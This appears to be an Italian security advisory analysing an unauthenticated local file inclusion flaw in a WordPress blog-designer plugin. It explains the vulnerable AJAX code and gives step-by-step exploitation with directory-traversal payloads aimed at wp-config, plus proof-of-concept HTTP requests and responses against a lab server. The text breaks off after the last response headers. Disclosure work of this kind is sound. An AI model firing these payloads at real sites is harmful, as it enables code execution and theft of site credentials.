
Il plugin News and Blog Designer Bundle di WordPress, in tutte le versioni fino alla 1.1, presenta una vulnerabilità di inclusione locale di file tramite il parametro template. Questa vulnerabilità consente a un utente non autenticato di includere ed eseguire qualsiasi file .php sul server, eseguendo così qualsiasi codice PHP al suo interno. In scenari in cui è consentito il caricamento e l'inclusione di file di tipo .php, un attaccante può sfruttare questa vulnerabilità per bypassare i controlli di accesso, ottenere dati sensibili o eseguire codice.
Tipo di vulnerabilità: Inclusione locale di file (Local File Inclusion, LFI)
Versioni interessate: News and Blog Designer Bundle 1.1 e tutte le versioni precedenti
Gravità: Alta
Complessità dell'attacco: Bassa (nessuna autenticazione richiesta)
La vulnerabilità principale risiede nel metodo nbdb_fetch_more_post() nel file includes/class-nbdb-ajax.php.
sanitize_text_field(extract( $_POST['shrt_param'] ));
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
Problema 1: Uso improprio della funzione extract()
La riga 31 presenta un grave problema:
sanitize_text_field(extract( $_POST['shrt_param'] ));
extract() estrae le chiavi di un array come nomi di variabili e i valori come valori delle variabili, direttamente nello scope corrente.extract() è il numero di variabili estratte con successo (un intero), non l'array stesso.sanitize_text_field() si aspetta una stringa come parametro, ma qui viene passato un intero.Problema 2: Mancanza di convalida dei parametri
La riga 33 utilizza direttamente la variabile $template per costruire il percorso del file:
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template proviene da extract($_POST['shrt_param']), completamente controllata dall'input dell'utente.Problema 3: Solo verifica dell'esistenza del file
La riga 34 controlla solo se il file esiste:
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
file_exists() verifica solo se il file esiste, non controlla la legittimità del percorso.$template, può eseguire directory traversal usando ../.include($template_file), causando un'inclusione arbitraria di file.In shortcodes/class-nbdb-shortcode.php, tutte le funzioni di elaborazione degli shortcode utilizzano convalida tramite whitelist:
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
nbdb_post_template() per ottenere l'elenco dei template consentiti (solo template-1 e template-2).array_key_exists() per la convalida tramite whitelist.template-1.Questo dimostra che gli sviluppatori sanno come convalidare correttamente i parametri, ma hanno omesso la convalida nelle funzioni di gestione AJAX.
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
wp_ajax_ e wp_ajax_nopriv_.wp_ajax_nopriv_ consente l'accesso a utenti non autenticati./wp-admin/admin-ajax.phpaction=nbdb_fetch_more_postshrt_param[template] (ad es. ../../../../wp-config)extract($_POST['shrt_param']), estraendo template come variabileNBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'file_exists() restituisce trueinclude($template_file), includendo ed eseguendo il file PHP di destinazionewp-config.php).php (il suffisso .php è hardcoded nel codice)include() di eseguire i file inclusi. Il prerequisito per "poter leggere" è che il PHP incluso stesso produca output visibile (echo/print/errori/risposte di protocollo), altrimenti non si vede il contenuto.POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>-32700</int></value>
</member>
<member>
<name>faultString</name>
<value><string>parse error. not well formed</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8